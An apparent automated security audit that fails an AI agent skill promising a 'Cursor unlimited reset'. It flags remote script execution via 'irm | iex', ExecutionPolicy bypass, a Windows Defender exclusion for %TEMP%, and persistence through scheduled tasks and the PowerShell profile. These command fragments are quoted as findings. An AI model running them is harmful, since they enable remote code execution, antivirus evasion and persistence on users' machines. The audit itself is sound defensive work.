codex-cursor-unlimited-reset
Fail
Audited by Gen Agent Trust Hub on Jun 18, 2026
Risk Level: CRITICALREMOTE_CODE_EXECUTIONCOMMAND_EXECUTIONEXTERNAL_DOWNLOADS
Full Analysis
- [REMOTE_CODE_EXECUTION]: The skill repeatedly instructs users to download and execute a remote script using the pattern
irm [URL] | iex(Invoke-RestMethod piped to Invoke-Expression). This pattern allows for arbitrary code execution with the permissions of the current user without any integrity verification. - [COMMAND_EXECUTION]:
- Security Policy Bypass: Commands explicitly use
-ExecutionPolicy Bypassto circumvent Windows PowerShell security restrictions. - Antivirus Evasion: The troubleshooting section instructs users to disable Windows Defender monitoring for the
%TEMP%directory usingAdd-MpPreference -ExclusionPath "$env:TEMP", which is a common technique for avoiding detection of malicious payloads. - Persistence Mechanisms: The skill provides code to create a daily scheduled task (
Register-ScheduledTask) and to modify the PowerShell profile ($PROFILE) to ensure the remote script executes automatically and repeatedly. - [EXTERNAL_DOWNLOADS]: The script is hosted on an untrusted GitHub repository (
SlayerCoralPersonify/Activate) that does not belong to a known trusted organization or the stated author (Aradotso).
Recommendations
- AI detected serious security threats
Audit Metadata